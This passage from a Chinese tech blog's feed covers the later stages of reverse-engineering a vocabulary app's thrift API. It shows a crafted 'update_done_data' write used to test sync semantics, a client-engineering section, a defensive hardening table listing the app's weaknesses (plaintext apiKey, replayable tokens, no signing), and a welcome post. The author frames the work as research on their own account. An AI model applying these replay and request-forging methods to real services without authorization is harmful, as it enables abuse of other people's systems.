    &quot;accent_us&quot;: &quot;/ˈpʌblɪk/&quot;,  &quot;accent_uk&quot;: &quot;/ˈpʌblɪk/&quot;,
    &quot;audio_us&quot;: &quot;/r/us_public_20231101...mp3&quot;,
    &quot;audio_uk&quot;: &quot;/r/uk_public_20220421...mp3&quot;,
    &quot;mnemonic&quot;: &quot;publ人民 + ic...的 → public 公开的，公众的&quot;
  },
  &quot;chn_means&quot;: [{&quot;type&quot;: &quot;adj.&quot;, &quot;mean&quot;: &quot;公用的，公共的&quot;}, &quot;...&quot;],
  &quot;sentences&quot;: [{&quot;en&quot;: &quot;There is a non-smoking sign in the public place.&quot;,
                 &quot;cn&quot;: &quot;公共场所有一块禁烟标志。&quot;,
                 &quot;img&quot;: &quot;/r/1691006137...jpeg&quot;, &quot;audio&quot;: &quot;/r/um2tz....mp3&quot;}]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中音视频都是相对路径，前端拼 &lt;code&gt;https://cdn.example.com&lt;/code&gt; 直连即可（实测无防盗链、200）。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;词库侧&lt;/strong&gt;：App 自带的 &lt;code&gt;lexicon.db&lt;/code&gt;（10.9 万词，第 3.4 节）提供了 topic_id ↔ 单词的本地索引，与服务端 topic_id 同体系，可用于离线补全与查询。&lt;/p&gt;
&lt;h2&gt;9. 第七阶段：写操作与同步语义 {#section-9}&lt;/h2&gt;
&lt;p&gt;写操作只有真正的一个：&lt;code&gt;update_done_data&lt;/code&gt;。在设计验证实验之前，先从代码和文档两个角度推演它的语义：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;本地记录 → 上报记录的映射&lt;/strong&gt;（来自 LearnRecordManager 的映射代码）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;word_topic_id      &amp;lt;- topicId
current_score      &amp;lt;- topicScore
span_days          &amp;lt;- topicDay
wrong_times        &amp;lt;- errNum
done_times         &amp;lt;- doNum
used_time          &amp;lt;- totalTime
is_first_do_at_today &amp;lt;- isTodayNew
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关键发现&lt;/strong&gt;：App 不是答完一题就上报一题，而是维护一张 syncing 表，&lt;strong&gt;积压 50 条或触发时机（打卡前/切书前）才批量上传一次（≤800 条）&lt;/strong&gt;，成功后从表内删除。这是典型的“本地队列 + 最终一致”模型。&lt;/p&gt;
&lt;p&gt;我设计了一个&lt;strong&gt;最小副作用实验&lt;/strong&gt;来验证：取远端已有的一条记录（&lt;code&gt;topic_id=4, done_times=6&lt;/code&gt;），原样构造一条上报：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;update_done_data(int(time.time()),
                 [{&quot;word_topic_id&quot;: 4, &quot;current_score&quot;: 4, &quot;span_days&quot;: 2,
                   &quot;used_time&quot;: 0, &quot;done_times&quot;: 6, &quot;wrong_times&quot;: 0,
                   &quot;is_first_do_at_today&quot;: 0, &quot;tag_id&quot;: 0, ...}],
                 book_id=13)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;上报前 remoteSyncVer = 1729603842
→ syncVersion = 0, remoteSyncVer = 1790167952      # 服务端接受了
上报后该词：done_times: 6 → 12, update_days: 739 → 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;服务端语义实锤：上报是“增量累加”而非“覆盖”&lt;/strong&gt;。这条经验直接决定了客户端的正确设计：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;本地维护：
  - total 表：每词全量状态（分数/次数/耗时）      ← App 同款
  - syncing 表：尚未上报的增量队列
答题 → 累加进 syncing → 达到阈值/退出时批量 update_done_data → 成功后清队列
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果用“覆盖”的错觉去设计，每次同步都会把远端计数器翻倍——这种错误在只读文档推演时根本发现不了，&lt;strong&gt;必须靠一次有对照的实测&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;至此，双向同步的三块拼图齐了：&lt;/p&gt;
&lt;p&gt;|
方向 |
接口 |
机制 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
电脑 → 手机 |
&lt;code&gt;update_done_data&lt;/code&gt; |
增量队列，成功后清空 |&lt;/p&gt;
&lt;p&gt;|
手机 → 电脑 |
&lt;code&gt;user_basic_info_v2&lt;/code&gt; + &lt;code&gt;get_learned_words_list&lt;/code&gt; |
比版本号 &lt;code&gt;last_sync_done_score_time&lt;/code&gt;，落后才拉取合并 |&lt;/p&gt;
&lt;p&gt;|
收藏同步 |
&lt;code&gt;PUT/DELETE /book/{id}/word/{topic_id}&lt;/code&gt;（user_book 域） |
单词本读写 |&lt;/p&gt;
&lt;h2&gt;10. 第八阶段：工程化 {#section-10}&lt;/h2&gt;
&lt;p&gt;协议能跑通和“能用”之间隔着一整套工程问题。这一节的问题全部来自真实环境约束。&lt;/p&gt;
&lt;h3&gt;10.1 慢：链路本身 3 秒/次&lt;/h3&gt;
&lt;p&gt;实测单条 thrift 调用 3 秒，PowerShell 发同样的请求甚至 18 秒。定位后发现&lt;strong&gt;不是协议问题&lt;/strong&gt;：thrift 响应头是 &lt;code&gt;Connection: keep-alive&lt;/code&gt;，但代理环境下 TLS 握手反复重建，纯链路成本。&lt;/p&gt;
&lt;p&gt;解法一套组合拳：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;服务端内存缓存 + stale-while-revalidate&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def cached(key, ttl, fn, stale=0):
 # fresh 命中：直接返回
 # fresh 过期但 stale 期内：立即返回旧值 + 后台线程刷新
 # 全过期：阻塞刷新（预热保证此路径极少走到）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;用户信息/词书计划 fresh 60s + stale 900s；词详情 24h 缓存（内容几乎不变）。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;写后精确失效&lt;/strong&gt;：上报成功立刻清除 learned/queues 缓存，不靠自然过期&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;批量 + 并行&lt;/strong&gt;：&lt;code&gt;/api/words?ids=a,b,c&lt;/code&gt; 一次请求，线程池 10 worker 并行拉 N 个词详情，前端一次预取下一批 8 个&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;后台预热&lt;/strong&gt;：服务启动/登录后，daemon 线程自动把 plan → queues → 前 64 个词灌进缓存。用户输短信验证码的几十秒正好被利用&lt;/p&gt;
&lt;p&gt;最终效果（预热完成后）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;plan     3ms     queues  28ms     words×8  9ms
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;10.2 稳：代理环境 TLS 抖动&lt;/h3&gt;
&lt;p&gt;TUN + fakeip 模式下 SSL EOF 偶发（同一域名反复成功又反复 reset）。客户端加定向重试：仅对 &lt;code&gt;SSL/EOF/handshake&lt;/code&gt; 类错误指数退避重试，最多 3 次，其他错误直接抛。&lt;/p&gt;
&lt;h3&gt;10.3 数据不丢&lt;/h3&gt;
&lt;p&gt;答题记录按 App 同款模型落 localStorage（syncing 队列语义），每次变更即持久化、页面隐藏/关闭时 checkpoint；同词多条记录合并上报（后者覆盖前者，与队列去重一致）。&lt;/p&gt;
&lt;h3&gt;10.4 一个教训：数字 key 的 JSON 陷阱&lt;/h3&gt;
&lt;p&gt;thrift 泛型解析产出 &lt;code&gt;{2: {...}, 4: {...}}&lt;/code&gt;（field id 为 int key），直接 &lt;code&gt;json.dumps&lt;/code&gt; 后 field id 变字符串，前端 &lt;code&gt;ui[2]&lt;/code&gt; 全部 undefined——整个页面空白且无报错。修复：在后端加一层&lt;strong&gt;适配&lt;/strong&gt;，把字段 id 翻译成可读字段再输出：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;return {
    &apos;word&apos;: w.get(2), &apos;accent_uk&apos;: w.get(4), &apos;accent_us&apos;: w.get(3),
    &apos;audio_us&apos;: w.get(5), &apos;audio_uk&apos;: w.get(6),
    &apos;means&apos;: [{&apos;type&apos;: m.get(3), &apos;mean&apos;: m.get(4)} for m in d.get(2, [])],
    &apos;sentences&apos;: [{&apos;en&apos;: s.get(4), &apos;cn&apos;: s.get(5), &apos;img&apos;: s.get(7), &apos;audio&apos;: s.get(8)}
                  for s in d.get(4, [])],
    ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这类“协议层 ID 语义”和“表现层字段语义”的撕裂，是所有做协议适配的前端/后端都会踩的坑，值得早早在架构里隔一层。&lt;/p&gt;
&lt;h2&gt;11. 防守视角：这套体系该怎么加固 {#section-11}&lt;/h2&gt;
&lt;p&gt;站在防御方角度复盘，这套体系为什么“一捅就破”，以及业界标准的加固阶梯（这也是我在实战中同步总结的）：&lt;/p&gt;
&lt;p&gt;|
层级 |
手段 |
本次现状 |&lt;/p&gt;
&lt;p&gt;| --- | --- | --- |&lt;/p&gt;
&lt;p&gt;|
0 |
HTTPS |
✅ 有，但只防信道不防客户端 |&lt;/p&gt;
&lt;p&gt;|
1 |
隐藏密钥 |
❌ Manifest 明文 apiKey |&lt;/p&gt;
&lt;p&gt;|
2 |
token 传递方式 |
❌ URL query / Cookie 裸传，轻量 replay 即可 |&lt;/p&gt;
&lt;p&gt;|
3 |
请求签名 |
❌ 无 sign，参数可任意构造 |&lt;/p&gt;
&lt;p&gt;|
4 |
SSL Pinning / 代理检测 |
❌ 无 |&lt;/p&gt;
&lt;p&gt;|
5 |
加壳/虚拟化 |
❌ 无壳，dex 直接可读 |&lt;/p&gt;
&lt;p&gt;|
6 |
设备指纹 + 行为风控 |
⚠️ 有数美 SDK，但接口层无风控拦截 |&lt;/p&gt;
&lt;p&gt;|
7 |
服务端权威 |
⚠️ 数据绑账号，但学习进度“上报即信” |&lt;/p&gt;
&lt;p&gt;如果要对标金融级客户端，成本收益排序应该是：&lt;strong&gt;服务端权威 &amp;gt; 请求签名 &amp;gt; 设备 attestation &amp;gt; 行为风控 &amp;gt; Pinning &amp;gt; 加壳&lt;/strong&gt;。壳是性价比最低的一层——它抬高的是“读代码”的成本，而协议在双方内存里必须是明文的，接口与协议的暴露无法靠壳解决。真正难处理的从来是“合法客户端的凭证被复用”这个根问题，业界目前也没有银弹，只有不断地抬高成本（风控/attestation）和及时止损（熔断/封禁）两条路。&lt;/p&gt;
&lt;h2&gt;12. 总结 {#section-12}&lt;/h2&gt;
&lt;p&gt;这次实践的完整链路：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;apk 样本 → apktool/jadx 静态侦察（1 小时）
  命中 thrift 生成代码 → 还原 IDL + URL 模板 + 鉴权模型（1 小时）
  手写 TCompactProtocol 编解码（半天，含 list header 排错）
  空跑验证协议（一条命令）
  小号短信登录拿 token
  只读打通：词书 / roadmap / 已学 / 词详情 / CDN（半天）
  写操作验证：update_done_data 增量语义实锤（关键实验）
  工程化：SWR 缓存 / 并行 / 预热 / 断点续传（半天）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;几点可迁移的经验：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;先判断协议类型再决定工具&lt;/strong&gt;。有代码生成机制的协议（thrift/protobuf）里，客户端就是接口字典；Flutter/自研二进制协议才需要重工具链，判断错方向会白烧几倍时间。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;空跑验证协议，把“协议对不对”和“凭证有没有”解耦&lt;/strong&gt;，这是调试私密协议最快的路径。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;写操作先做最小副作用实验&lt;/strong&gt;：取远端已有数据原样回传，观察服务端语义（累加 or 覆盖），比读十遍文档可靠。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;一切以样本快照为基线&lt;/strong&gt;（版本+SHA256），分析结论要归档，App 更新后能 diff。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;研究边界要在动手前画好&lt;/strong&gt;：本人账号、只读优先、不碰支付权益、不分发。协议研究需要可复核的证据，也需要对每一次写操作保持克制。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;em&gt;本文仅用于协议学习与技术研究，所有操作基于本人账号的小号环境，不涉及任何支付/会员/越权行为，未对任何服务造成滥用。复现风险自负。&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>欢迎来到我的博客</title><link>https://blog.ouneed.tech/posts/welcome/</link><guid isPermaLink="true">https://blog.ouneed.tech/posts/welcome/</guid><description>博客开张了，聊聊这个小站的定位和计划</description><pubDate>Tue, 01 Sep 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;你好，世界！👋&lt;/h2&gt;
&lt;p&gt;欢迎来到我的博客，這裡是我的数字自留地。&lt;/p&gt;
&lt;h3&gt;这个博客是干嘛的&lt;/h3&gt;
&lt;p&gt;主要是记录和分享：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;🔧 &lt;strong&gt;技術實踐&lt;/strong&gt;：逆向工程、協議分析、安全研究、Cloudflare 折騰記錄&lt;/li&gt;
&lt;li&gt;🛠️ &lt;strong&gt;自託管&lt;/strong&gt;：用免費資源搭各種小服務（2FA、臨時郵箱之類的）&lt;/li&gt;
&lt;li&gt;💭 &lt;strong&gt;隨筆&lt;/strong&gt;：一些想法和碎碎念&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;关于这个站&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;🚀 纯静态，Astro + Fuwari 主題，部署在 Cloudflare Pages，加载飞快&lt;/li&gt;
&lt;li&gt;🌙 明/暗模式一鍵切換&lt;/li&gt;
&lt;li&gt;🌐 繁簡一鍵切換（右上角&quot;繁&quot;按鈕）&lt;/li&gt;
&lt;li&gt;🔤 字體可選：默認系統字體，也可以在顯示設置里換成粉圓體&lt;/li&gt;
&lt;li&gt;📱 響應式，手機電腦都能看&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;寫在前面&lt;/h3&gt;
&lt;p&gt;文章都是我自己折騰的記錄，想到哪寫到哪，不保證嚴謹，但保證真實。&lt;/p&gt;
&lt;p&gt;如果某篇文章對你有幫助，歡迎留言交流。如果發現錯誤，也歡迎指出——技術這東西，越辯越明。&lt;/p&gt;
&lt;p&gt;祝看得開心！🎉&lt;/p&gt;
</content:encoded></item></channel></rss>